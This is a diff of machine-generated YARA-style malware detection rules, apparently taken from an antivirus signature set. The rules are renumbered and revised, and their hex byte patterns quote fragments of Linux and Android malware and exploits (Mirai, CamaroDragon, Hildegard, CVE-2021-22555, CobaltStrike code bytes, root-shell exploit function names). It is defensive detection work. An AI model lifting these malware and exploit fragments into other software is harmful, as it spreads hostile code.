& 1)*29537) >=3 } -rule _InfrastructureShared_20850{ +rule _InfrastructureShared_22108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 06 00 21 " @@ -274519,7 +290491,7 @@ rule _InfrastructureShared_20850{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*30054+(#a_6a_2 & 1)*29268+(#a_20_3 & 1)*29799+(#a_73_4 & 1)*7680+(#a_66_5 & 1)*25188) >=4 } -rule _InfrastructureShared_20851{ +rule _InfrastructureShared_22109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 04 00 21 " @@ -274531,7 +290503,7 @@ rule _InfrastructureShared_20851{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28515+(#a_50_3 & 1)*19521) >=3 } -rule _InfrastructureShared_20852{ +rule _InfrastructureShared_22110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 06 00 21 " @@ -274541,29 +290513,40 @@ rule _InfrastructureShared_20852{ $a_6f_2 = {20 6e 75 6d 3a 01 00 09 01 72 65 63 76 5f 70 65 65 6b 01 00 0f 01 63 6f 6e 6e 65 63 74 5f 74 69 6d 65 6f 75 74 01 00 0d 01 69 70 3d 25 73 20 70 6f 72 74 3d 25 64 00 00 8c ba 00 00 0d 00 0d 00 09 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 6c 69 62 58 31 31 00 0a 00 09 00 6c 69 62 58 31 31 2e 73 6f 01 00 0a 00 58 4e 65 78 74 45 76 65 } //27680 $a_00_3 = {0c } //29806 $a_70_4 = {6e 44 69 73 70 6c 61 79 01 00 0c 00 58 53 65 6c 65 63 74 49 6e 70 75 74 01 00 0c 00 58 51 75 65 72 79 4b 65 79 6d 61 70 01 00 0d 00 58 4c 6f 6f 6b 75 70 53 74 72 69 6e 67 01 00 0f 00 58 4b 65 79 73 79 6d 54 6f 53 74 72 69 6e 67 01 00 12 } //22528 - $a_62_5 = {65 79 63 6f 64 65 54 6f 4b 65 79 73 79 6d 01 00 15 00 58 6b 62 53 65 6c 65 63 74 45 76 65 6e 74 44 65 74 61 69 6c 73 00 00 8c bc 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4b 48 21 4d 54 42 00 01 00 44 01 ea bb 4c 29 e6 03 15 2a ed af 4d 29 e1 03 1b 2a e4 8b } //22528 + $a_62_5 = {65 79 63 6f 64 65 54 6f 4b 65 79 73 79 6d 01 00 15 00 58 6b 62 53 65 6c 65 63 74 45 76 65 6e 74 44 65 74 61 69 6c 73 00 00 8c bb 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 41 67 6e 74 2e 41 41 21 4d 54 42 00 01 00 6f 01 f0 30 00 24 c0 d0 00 03 ba 71 a7 fb ff 48 c0 b0 00 03 d4 0c } //22528 condition: ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25971+(#a_6f_2 & 1)*27680+(#a_00_3 & 1)*29806+(#a_70_4 & 1)*22528+(#a_62_5 & 1)*22528) >=5 } -rule _InfrastructureShared_20853{ +rule _InfrastructureShared_22111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0d 00 0d 00 09 00 21 " strings : $a_54_0 = {3a 4c 69 6e 75 78 2f 6c 69 62 58 31 31 00 0a 00 09 00 6c 69 62 58 31 31 2e 73 6f 01 00 0a 00 58 4e 65 78 74 45 76 65 6e 74 01 00 0c 00 58 4f 70 65 6e 44 69 73 70 6c 61 79 01 00 0c 00 58 53 65 6c 65 63 74 49 6e 70 75 74 01 00 0c 00 58 51 75 65 72 79 } //18467 - $a_6d_1 = {70 01 00 0d 00 58 4c 6f 6f 6b 75 70 53 74 72 69 6e 67 01 00 0f 00 58 4b 65 79 73 79 6d 54 6f 53 74 72 69 6e 67 01 00 12 00 58 6b 62 4b 65 79 63 6f 64 65 54 6f 4b 65 79 73 79 6d 01 00 15 00 58 6b 62 53 65 6c 65 63 74 45 76 65 6e 74 44 65 74 61 69 6c 73 00 00 8c bc 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 } //25931 - $a_48_2 = {4d 54 42 00 01 00 44 01 ea bb 4c 29 e6 03 15 2a ed af 4d 29 e1 03 1b 2a e4 8b 4e 29 e3 03 1a 2a e0 7f 40 b9 e5 03 19 2a e8 03 18 2a f0 03 1c 2a 89 ae 8c 52 09 64 ad 72 4c a6 85 52 4c 2c af 72 cf 8d 8c 52 0f 64 a6 72 47 01 80 } //11881 - $a_38_4 = {6a 60 38 3f 02 00 6b c1 c3 40 7a 21 00 03 4a 61 6a 20 38 00 04 00 91 2a 90 01 03 f7 02 01 11 d6 02 01 91 3f 02 17 6b 52 02 01 d1 de 03 01 11 8c 90 01 03 f7 63 42 a9 f9 6b 43 a9 fb 73 44 a9 90 00 00 00 8c bc 00 00 04 00 04 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f } //27265 - $a_61_5 = {6f 44 72 61 67 6f 6e 2e 42 00 01 00 07 01 2e 2f 73 68 65 65 6c 01 00 0e 01 2f 64 65 76 2f 6d 74 64 62 6c 6f 63 6b 34 01 00 39 03 2d 68 20 73 65 72 76 65 72 5f 69 70 20 2d 70 20 73 65 72 76 65 72 5f 70 6f 72 74 90 01 01 2d 69 20 75 70 64 61 74 65 5f 69 6e 64 65 78 5b 30 2d 34 5d 20 5b 2d 72 5d 90 00 01 00 1b 01 75 70 64 61 74 } //24899 - $a_65_6 = {76 65 72 20 6c 69 73 74 20 73 75 63 63 65 73 73 21 01 00 15 01 75 70 64 61 74 65 20 73 65 72 76 65 72 20 66 61 69 6c 65 64 2e 00 00 8c bc 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 48 69 6c 64 65 67 61 72 64 2e 43 21 4d 54 42 00 01 00 24 00 74 6d 61 74 65 20 2d 53 20 2f 74 6d 70 2f 74 6d 61 74 65 2e } //8293 - $a_6b_7 = {6e 65 77 2d 73 65 73 73 69 6f 6e 01 00 0c 00 73 73 68 2e 74 6d 61 74 65 2e 69 6f 01 00 30 00 5b 2d 50 5d 20 5b 2d 61 5d 20 5b 2d 73 20 74 61 72 67 65 74 2d 73 65 73 73 69 6f 6e 5d 20 5b 2d 74 20 74 61 72 67 65 74 2d 63 6c 69 65 6e 74 5d 01 00 0d 00 65 74 63 2f 74 6d 75 78 2e 63 6f 6e 66 01 00 0e } //28531 - $a_2f_8 = {74 6d 61 74 65 2e 63 6f 6e 66 00 00 8c bd 00 00 02 00 02 00 03 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 4c 69 6e 75 78 2f 43 56 45 2d 32 30 32 31 2d 32 32 35 35 00 01 00 31 01 5b 2b 5d 20 4c 69 6e 75 78 20 50 72 69 76 69 6c 65 67 65 20 45 73 63 61 6c 61 74 69 6f 6e 20 62 79 20 74 68 65 66 6c 6f 77 40 20 2d 20 32 30 32 31 01 00 34 01 5b 2d } //9472 + $a_6d_1 = {70 01 00 0d 00 58 4c 6f 6f 6b 75 70 53 74 72 69 6e 67 01 00 0f 00 58 4b 65 79 73 79 6d 54 6f 53 74 72 69 6e 67 01 00 12 00 58 6b 62 4b 65 79 63 6f 64 65 54 6f 4b 65 79 73 79 6d 01 00 15 00 58 6b 62 53 65 6c 65 63 74 45 76 65 6e 74 44 65 74 61 69 6c 73 00 00 8c bb 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 41 67 6e 74 2e } //25931 + $a_4d_2 = {42 00 01 00 6f 01 f0 30 00 24 c0 d0 00 03 ba 71 a7 fb ff 48 c0 b0 00 03 d4 0c b9 04 00 82 e3 20 b0 } //16705 + $a_b9_3 = {00 a3 b9 04 00 94 e3 80 f0 a0 00 24 c0 e5 00 03 54 91 b9 04 00 12 } //16 + $a_04_4 = {00 16 50 10 b0 10 c0 e5 00 03 54 87 b9 04 00 12 e3 20 b0 08 00 16 50 10 b0 04 c0 e5 00 03 54 7d b9 04 00 12 e3 20 b0 0c 00 16 50 10 b0 08 c0 e5 00 03 54 73 b9 01 00 1c 01 04 00 12 e3 20 b0 14 00 16 50 10 b0 0c c0 e5 00 03 54 69 50 20 b0 14 12 22 a7 74 00 00 00 8c bc 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4b 48 21 4d 54 42 00 01 00 44 01 ea bb 4c 29 e6 03 15 2a ed af 4d 29 e1 03 1b 2a e4 8b 4e 29 e3 03 1a 2a e0 7f 40 b9 e5 03 19 2a e8 03 18 2a f0 03 1c 2a 89 } //8419 + $a_09_5 = {64 ad 72 4c a6 85 52 4c 2c af 72 cf 8d 8c 52 0f 64 a6 72 47 01 80 52 01 00 46 03 81 6a 60 38 43 6a 60 38 3f 02 00 6b c1 c3 40 7a 21 00 03 4a 61 6a 20 38 00 04 00 91 2a 90 01 03 f7 02 01 11 d6 02 01 91 3f 02 17 6b 52 02 01 d1 de 03 01 11 8c 90 01 } //-29522 + $a_42_6 = {f9 6b 43 a9 fb 73 44 a9 90 00 00 00 8c bc 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 50 65 6e 74 65 72 61 52 61 6e 73 6f 6d 2e 42 00 01 00 15 80 01 55 74 69 6c 73 2e 57 72 69 74 65 52 61 6e 73 6f 6d 4e 6f 74 65 01 00 2b 80 01 46 69 6c 65 73 79 73 74 65 6d 2e 46 69 6c 65 53 79 } //-2301 + $a_6d_7 = {42 61 63 6b 75 70 46 69 6c 65 54 6f 45 6e 75 6d 65 72 61 74 65 01 00 1f 80 01 41 63 74 69 6f 6e 73 2f 45 44 52 54 65 72 6d 69 6e 61 74 69 6f 6e 41 63 74 69 6f 6e 2e 67 6f 01 00 24 80 01 41 63 74 69 6f 6e 73 2f 53 65 6e 64 49 6e 6a 65 63 74 65 64 53 74 72 69 6e 67 73 41 63 74 69 6f 6e 2e 67 6f 00 00 8c } //29811 condition: - ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*25931+(#a_48_2 & 1)*11881+(#a_38_4 & 1)*27265+(#a_61_5 & 1)*24899+(#a_65_6 & 1)*8293+(#a_6b_7 & 1)*28531+(#a_2f_8 & 1)*9472) >=13 + ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*25931+(#a_4d_2 & 1)*16705+(#a_b9_3 & 1)*16+(#a_04_4 & 1)*8419+(#a_09_5 & 1)*-29522+(#a_42_6 & 1)*-2301+(#a_6d_7 & 1)*29811) >=13 } -rule _InfrastructureShared_20854{ +rule _InfrastructureShared_22112{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 41 67 6e 74 2e 41 41 21 4d 54 42 00 01 00 6f 01 f0 30 00 24 c0 d0 00 03 ba 71 a7 fb ff 48 c0 b0 00 03 d4 0c b9 04 00 82 e3 20 b0 10 00 16 b9 04 00 a3 b9 04 00 94 e3 } //21539 + $a_00_1 = {24 c0 e5 00 03 54 91 b9 04 00 12 e3 20 b0 04 00 16 50 10 b0 10 c0 e5 00 03 54 87 b9 04 00 12 e3 20 b0 08 00 16 50 10 b0 04 c0 e5 00 03 54 7d b9 04 00 12 e3 20 b0 0c 00 16 50 10 b0 08 c0 e5 00 03 54 73 b9 01 00 1c 01 04 00 12 e3 20 b0 14 00 16 50 10 b0 0c c0 e5 00 03 54 69 50 20 b0 14 12 22 a7 74 00 00 00 8c bc 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4b 48 21 4d 54 42 00 01 00 44 01 ea bb 4c 29 e6 03 15 2a ed af } //-3968 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-3968) >=2 + +} +rule _InfrastructureShared_22113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -274574,21 +290557,49 @@ rule _InfrastructureShared_20854{ ((#a_4c_0 & 1)*21539+(#a_89_1 & 1)*7171) >=2 } -rule _InfrastructureShared_20855{ +rule _InfrastructureShared_22114{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 4c 69 6e 75 78 2f 50 65 6e 74 65 72 61 52 61 6e 73 6f 6d 2e 42 00 01 00 15 80 01 55 74 69 6c 73 2e 57 72 69 74 65 52 61 6e 73 6f 6d 4e 6f 74 65 01 00 2b 80 01 46 69 6c 65 73 79 73 74 65 6d 2e 46 69 6c 65 53 79 73 74 65 6d 2e 42 61 63 6b 75 70 46 } //18467 + $a_54_1 = {45 6e 75 6d 65 72 61 74 65 01 00 1f 80 01 41 63 74 69 6f 6e 73 2f 45 44 52 54 65 72 6d 69 6e 61 74 69 6f 6e 41 63 74 69 6f 6e 2e 67 6f 01 00 24 80 01 41 63 74 69 6f 6e 73 2f 53 65 6e 64 49 6e 6a 65 63 74 65 64 53 74 72 69 6e 67 73 41 63 74 69 6f 6e 2e 67 6f 00 00 8c bc 00 00 04 00 04 00 05 00 21 23 41 } //27753 + $a_54_2 = {6f 6a 61 6e 3a 4c 69 6e 75 78 2f 43 61 6d 61 72 6f 44 72 61 67 6f 6e 2e 42 00 01 00 07 01 2e 2f 73 68 65 65 6c 01 00 0e 01 2f 64 65 76 2f 6d 74 64 62 6c 6f 63 6b 34 01 00 39 } //17996 + $a_20_3 = {65 72 76 65 72 5f 69 70 20 2d 70 20 73 65 72 76 65 72 5f 70 6f 72 74 90 01 01 2d 69 20 75 70 64 61 74 65 5f 69 6e 64 65 78 5b 30 2d 34 5d 20 5b 2d 72 5d 90 00 01 00 1b 01 75 70 64 61 74 65 20 73 65 72 76 65 72 20 6c 69 73 74 20 73 75 63 63 65 73 73 21 01 00 15 01 75 70 64 61 74 65 20 73 65 72 76 65 72 20 66 61 } //11523 + condition: + ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*27753+(#a_54_2 & 1)*17996+(#a_20_3 & 1)*11523) >=4 + +} +rule _InfrastructureShared_22115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 43 61 6d 61 72 6f 44 72 61 67 6f 6e 2e 42 00 01 00 07 01 2e 2f 73 68 65 65 6c 01 00 0e 01 2f 64 65 76 2f 6d 74 64 62 6c 6f 63 6b 34 01 00 39 03 2d 68 20 73 65 72 76 65 72 5f 69 70 20 2d 70 } //16675 - $a_72_1 = {65 72 5f 70 6f 72 74 90 01 01 2d 69 20 75 70 64 61 74 65 5f 69 6e 64 65 78 5b 30 2d 34 5d 20 5b 2d 72 5d 90 00 01 00 1b 01 75 70 64 61 74 65 20 73 65 72 76 65 72 20 6c 69 73 74 20 73 75 63 63 65 73 73 21 01 00 15 01 75 70 64 61 74 65 20 73 65 72 76 65 72 20 66 61 69 6c 65 64 2e 00 00 8c bc 00 00 05 00 } //29472 - $a_00_2 = {21 23 54 45 4c } //5 !#TEL - $a_63_3 = {54 6f 6f 6c 3a 4c 69 6e 75 78 2f 48 69 6c 64 65 67 61 72 64 2e 43 21 4d 54 42 00 01 00 24 00 74 6d 61 74 65 20 2d 53 20 2f 74 6d 70 2f 74 6d 61 74 65 2e 73 6f 63 6b 20 6e 65 77 2d 73 65 73 73 69 6f 6e 01 00 0c 00 73 73 68 2e 74 6d 61 74 65 2e 69 6f 01 00 30 00 5b 2d 50 5d 20 5b 2d 61 5d 20 } //18490 - $a_20_4 = {61 72 67 65 74 2d 73 65 73 73 69 6f 6e 5d 20 5b 2d 74 20 74 61 72 67 65 74 2d 63 6c 69 65 6e 74 5d 01 00 0d 00 65 74 63 2f 74 6d 75 78 2e 63 6f 6e 66 01 00 0e 00 25 73 2f 2e 74 6d 61 74 65 2e 63 6f 6e 66 00 00 8c bd 00 00 02 00 02 00 03 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 4c 69 6e 75 78 2f 43 56 45 2d 32 30 32 31 2d 32 32 35 35 00 01 } //11611 + $a_72_1 = {65 72 5f 70 6f 72 74 90 01 01 2d 69 20 75 70 64 61 74 65 5f 69 6e 64 65 78 5b 30 2d 34 5d 20 5b 2d 72 5d 90 00 01 00 1b 01 75 70 64 61 74 65 20 73 65 72 76 65 72 20 6c 69 73 74 20 73 75 63 63 65 73 73 21 01 00 15 01 75 70 64 61 74 65 20 73 65 72 76 65 72 20 66 61 69 6c 65 64 2e 00 00 8c bc 00 00 04 00 } //29472 + $a_00_2 = {21 23 41 4c 46 3a 42 } //4 !#ALF:B + $a_64_3 = {6f 72 3a 4c 69 6e 75 78 2f 47 72 65 65 6e 56 69 70 65 72 2e 42 21 64 68 61 00 04 00 24 01 38 35 35 39 35 38 63 65 2d 36 34 38 33 2d 34 39 35 33 2d 38 63 31 38 2d 33 66 39 36 32 35 64 38 38 63 32 37 04 00 20 01 de 66 73 a4 1a 37 98 95 2e 87 f4 0e cb 06 92 36 85 ba 61 d6 3e e5 bd ca a5 43 69 be dd cd 43 5b 01 00 08 01 30 } //25441 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29472+(#a_00_2 & 1)*5+(#a_63_3 & 1)*18490+(#a_20_4 & 1)*11611) >=4 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29472+(#a_00_2 & 1)*4+(#a_64_3 & 1)*25441) >=4 } -rule _InfrastructureShared_20856{ +rule _InfrastructureShared_22116{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 07 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 47 72 65 65 6e 56 69 70 65 72 2e 42 21 64 68 61 00 04 00 24 01 38 35 35 39 35 38 63 65 2d 36 34 38 33 2d 34 39 35 33 2d 38 63 31 38 2d 33 66 39 36 32 35 64 38 38 63 32 37 04 00 20 01 } //16675 + $a_a4_1 = {37 98 95 2e 87 f4 0e cb 06 92 36 85 ba 61 d6 3e e5 bd ca a5 43 69 be dd cd 43 5b 01 00 08 01 30 5f 30 00 30 5f 31 00 01 00 07 01 00 31 2e 30 2e 35 00 01 00 06 01 25 2a 73 20 25 64 01 00 10 01 7b 22 6f 75 74 70 75 74 73 22 3a 5b 25 73 5d 7d 01 00 09 01 30 30 31 31 30 30 30 30 00 00 00 8c bc 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 48 61 63 6b } //26334 + $a_6c_2 = {4c 69 6e 75 78 2f 48 69 6c 64 65 67 61 72 64 2e 43 21 4d 54 42 00 01 00 24 00 74 6d 61 74 65 20 2d 53 20 2f 74 6d 70 2f 74 6d 61 74 65 2e 73 6f 63 6b 20 6e 65 77 2d 73 65 73 73 69 6f 6e 01 00 0c 00 73 73 68 2e 74 6d 61 74 65 2e 69 6f 01 00 30 00 5b 2d 50 5d 20 5b 2d 61 5d 20 5b 2d 73 20 74 61 72 67 65 74 2d 73 65 73 73 69 6f 6e 5d } //28500 + $a_74_3 = {74 61 72 67 65 74 2d 63 6c 69 65 6e 74 5d 01 00 0d 00 65 74 63 2f 74 6d 75 78 2e 63 6f 6e 66 01 00 0e 00 25 73 2f 2e 74 6d 61 74 65 2e } //23328 + $a_66_4 = {00 8c bd 00 00 02 00 02 00 03 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 4c 69 6e 75 78 2f 43 56 45 2d 32 30 32 31 2d 32 32 35 35 00 01 00 31 01 5b 2b 5d 20 4c 69 6e 75 78 20 50 72 69 76 69 6c 65 67 65 20 45 73 63 61 6c 61 74 69 6f 6e 20 62 79 20 74 68 65 66 6c 6f 77 40 20 2d 20 32 30 32 31 01 00 34 01 5b 2d 5d 20 45 72 72 6f } //28515 + $a_6f_5 = {6c 64 20 6e 6f 74 20 6c 65 61 6b 20 61 64 6a 61 63 65 6e 74 20 73 65 63 6f 6e 64 61 72 79 20 6d 65 73 73 61 67 65 2e 01 00 22 01 5b 2a 5d 20 46 72 65 65 69 6e 67 20 73 6b 5f 62 75 66 66 20 64 61 74 61 20 62 75 66 66 65 72 2e 2e 2e 00 00 8c bd 00 00 05 00 05 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a } //8306 + $a_4c_6 = {6e 75 78 2f 54 6f 70 74 69 6c 6c 79 2e 42 21 64 68 61 00 01 00 11 01 55 53 45 52 20 44 59 4e 41 4d 49 43 20 49 4e 46 4f 01 00 09 01 6f 77 6e 4d 53 49 53 44 4e 01 00 12 01 43 } //28257 + condition: + ((#a_46_0 & 1)*16675+(#a_a4_1 & 1)*26334+(#a_6c_2 & 1)*28500+(#a_74_3 & 1)*23328+(#a_66_4 & 1)*28515+(#a_6f_5 & 1)*8306+(#a_4c_6 & 1)*28257) >=4 + +} +rule _InfrastructureShared_22117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 21 " @@ -274602,7 +290613,7 @@ rule _InfrastructureShared_20856{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*28271+(#a_68_2 & 1)*29440+(#a_69_3 & 1)*27760+(#a_63_4 & 1)*29472) >=5 } -rule _InfrastructureShared_20857{ +rule _InfrastructureShared_22118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 03 00 21 " @@ -274614,33 +290625,22 @@ rule _InfrastructureShared_20857{ ((#a_4c_0 & 1)*21539+(#a_77_1 & 1)*27750+(#a_23_2 & 1)*6) >=2 } -rule _InfrastructureShared_20858{ +rule _InfrastructureShared_22119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 54 6f 70 74 69 6c 6c 79 2e 42 21 64 68 61 00 01 00 11 01 55 53 45 52 20 44 59 4e 41 4d 49 43 20 49 4e 46 4f 01 00 09 01 6f 77 6e 4d 53 49 53 44 4e 01 00 12 01 43 65 6c 6c 20 49 64 65 6e 74 } //16675 - $a_20_1 = {61 6d 65 01 00 1d 01 44 61 74 65 20 61 6e 64 20 74 69 6d 65 20 6f 66 20 72 65 67 69 73 74 72 61 74 69 6f 6e 01 00 10 01 49 4d 53 49 20 41 74 74 61 63 68 20 46 6c 61 67 01 00 22 01 54 61 62 6c 65 20 25 73 20 46 69 65 6c 64 4e 75 6d 3d 25 64 2c 20 52 65 63 6f 72 64 4e 75 6d 3d 25 64 00 00 8c be 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 } //29801 - $a_2f_2 = {6f 62 61 6c 74 53 74 72 69 6b 65 2e 48 21 4d 54 42 00 01 00 35 01 be 30 fd 99 00 55 48 81 ee 30 fd 99 00 48 89 e5 48 c1 fe 03 48 89 f0 48 c1 e8 3f 48 01 c6 48 d1 fe 74 15 b8 00 00 00 00 48 85 c0 74 0b 5d bf 30 fd 99 00 ff e0 01 00 53 01 44 88 cb f6 c3 01 0f 94 47 f0 41 83 ea 0a 0f 9c 42 f0 8a 5f f0 44 8a 72 f0 44 20 f3 44 8a 77 f0 44 8a 7a f0 45 30 fe 44 08 } //30062 - $a_01_3 = {88 58 f0 48 89 e0 48 83 c0 f0 48 89 c4 c7 00 ee 5d 15 26 48 83 ec 0a 50 68 93 45 41 1d 31 c0 0f 84 01 00 00 00 c3 00 00 8c be 00 00 04 00 04 00 07 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 41 6e 64 72 6f 69 64 2f 44 65 77 72 61 63 6b 2e 44 21 64 68 61 00 01 00 0d 01 64 65 66 65 78 5f 64 69 73 61 62 6c 65 01 00 16 01 64 69 73 61 62 6c 65 5f 73 65 6c 69 6e 75 78 5f 73 69 6d 70 6c 65 01 00 08 01 64 6f 5f 73 68 65 6c 6c 01 00 10 01 70 72 6f 63 65 73 73 5f 69 6e 6a 65 63 74 65 64 01 00 12 01 72 65 76 65 72 73 65 5f 72 6f 6f 74 5f 73 68 65 6c 6c 01 00 0e 01 63 6f 70 79 5f 63 72 65 64 73 5f 63 70 75 01 00 1b 01 72 65 73 6f 6c 76 65 5f 74 61 73 6b 5f 73 74 72 75 63 74 5f 6f 66 } //-32525 - $a_74_4 = {00 00 8c bf 00 00 06 00 06 00 08 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 54 72 69 63 6b 4c 61 6e 63 65 72 2e 42 21 64 68 61 00 01 00 05 01 6e 73 70 70 65 01 00 14 01 70 62 5f 70 6f 6c 69 63 79 20 2d 68 20 6e 6f 74 68 69 6e 67 01 00 0c 01 70 62 5f 70 6f 6c 69 63 79 20 2d 64 } //29542 - $a_01_5 = {66 69 6e 64 50 72 6f 63 65 73 73 4c 69 73 74 42 79 4e 61 6d 65 } //1 findProcessListByName + $a_20_1 = {61 6d 65 01 00 1d 01 44 61 74 65 20 61 6e 64 20 74 69 6d 65 20 6f 66 20 72 65 67 69 73 74 72 61 74 69 6f 6e 01 00 10 01 49 4d 53 49 20 41 74 74 61 63 68 20 46 6c 61 67 01 00 22 01 54 61 62 6c 65 20 25 73 20 46 69 65 6c 64 4e 75 6d 3d 25 64 2c 20 52 65 63 6f 72 64 4e 75 6d 3d 25 64 00 00 8c be 00 00 04 00 04 00 07 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 41 } //29801 + $a_6f_2 = {64 2f 44 65 77 72 61 63 6b 2e 44 21 64 68 61 00 01 00 0d 01 64 65 66 65 78 5f 64 69 73 61 62 6c 65 01 00 16 01 64 69 73 61 62 6c 65 5f 73 65 6c 69 6e 75 78 5f 73 69 6d 70 6c 65 01 00 08 01 64 6f 5f 73 68 65 6c 6c 01 00 10 01 70 72 6f 63 65 73 73 5f 69 6e 6a 65 63 74 65 64 01 00 12 01 72 65 76 65 72 73 65 5f 72 6f 6f 74 5f 73 68 65 6c 6c 01 } //25710 + $a_63_3 = {70 } //3584 p + $a_72_4 = {64 73 5f 63 70 75 01 00 1b 01 72 65 73 6f 6c 76 65 5f 74 61 73 6b 5f 73 74 72 75 63 74 5f 6f 66 66 73 65 74 73 00 00 8c bf 00 00 06 00 06 00 08 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 54 72 69 63 6b 4c 61 6e 63 65 72 2e 42 21 64 68 61 00 01 00 05 01 6e 73 70 70 65 01 } //24441 + $a_70_5 = {5f } //5120 _ condition: - ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29801+(#a_2f_2 & 1)*30062+(#a_01_3 & 1)*-32525+(#a_74_4 & 1)*29542+(#a_01_5 & 1)*1) >=5 + ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29801+(#a_6f_2 & 1)*25710+(#a_63_3 & 1)*3584+(#a_72_4 & 1)*24441+(#a_70_5 & 1)*5120) >=5 } -rule _InfrastructureShared_20859{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 48 21 4d 54 42 00 01 00 35 01 be 30 fd 99 00 55 48 81 ee 30 fd 99 00 48 89 e5 48 c1 fe 03 48 89 f0 48 c1 e8 3f 48 01 c6 48 d1 fe } //21539 - $a_00_1 = {00 00 00 48 85 c0 74 0b 5d bf 30 fd 99 00 ff e0 01 00 53 01 44 88 cb f6 c3 01 0f 94 47 f0 41 83 ea 0a 0f 9c 42 f0 8a 5f f0 44 8a 72 f0 44 20 f3 44 8a 77 f0 44 8a 7a f0 45 30 fe 44 08 f3 80 e3 01 88 58 f0 48 89 e0 48 83 c0 f0 48 89 c4 c7 00 ee 5d 15 26 48 83 ec 0a 50 68 93 45 41 1d 31 c0 0f 84 01 00 00 00 c3 00 00 8c be 00 00 04 00 04 00 07 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 41 6e 64 72 6f 69 64 2f 44 65 77 72 61 63 6b 2e 44 21 64 68 61 00 01 00 0d 01 64 65 66 65 78 5f 64 69 73 61 62 6c 65 01 00 16 01 64 69 73 61 62 6c 65 5f 73 65 6c 69 } //5492 - condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*5492) >=2 - -} -rule _InfrastructureShared_20860{ +rule _InfrastructureShared_22120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 07 00 21 " @@ -274656,7 +290656,7 @@ rule _InfrastructureShared_20860{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*25601+(#a_52_2 & 1)*20550+(#a_6f_3 & 1)*24418+(#a_4c_4 & 1)*8993+(#a_90_5 & 1)*-7167+(#a_73_6 & 1)*-209) >=4 } -rule _InfrastructureShared_20861{ +rule _InfrastructureShared_22121{ 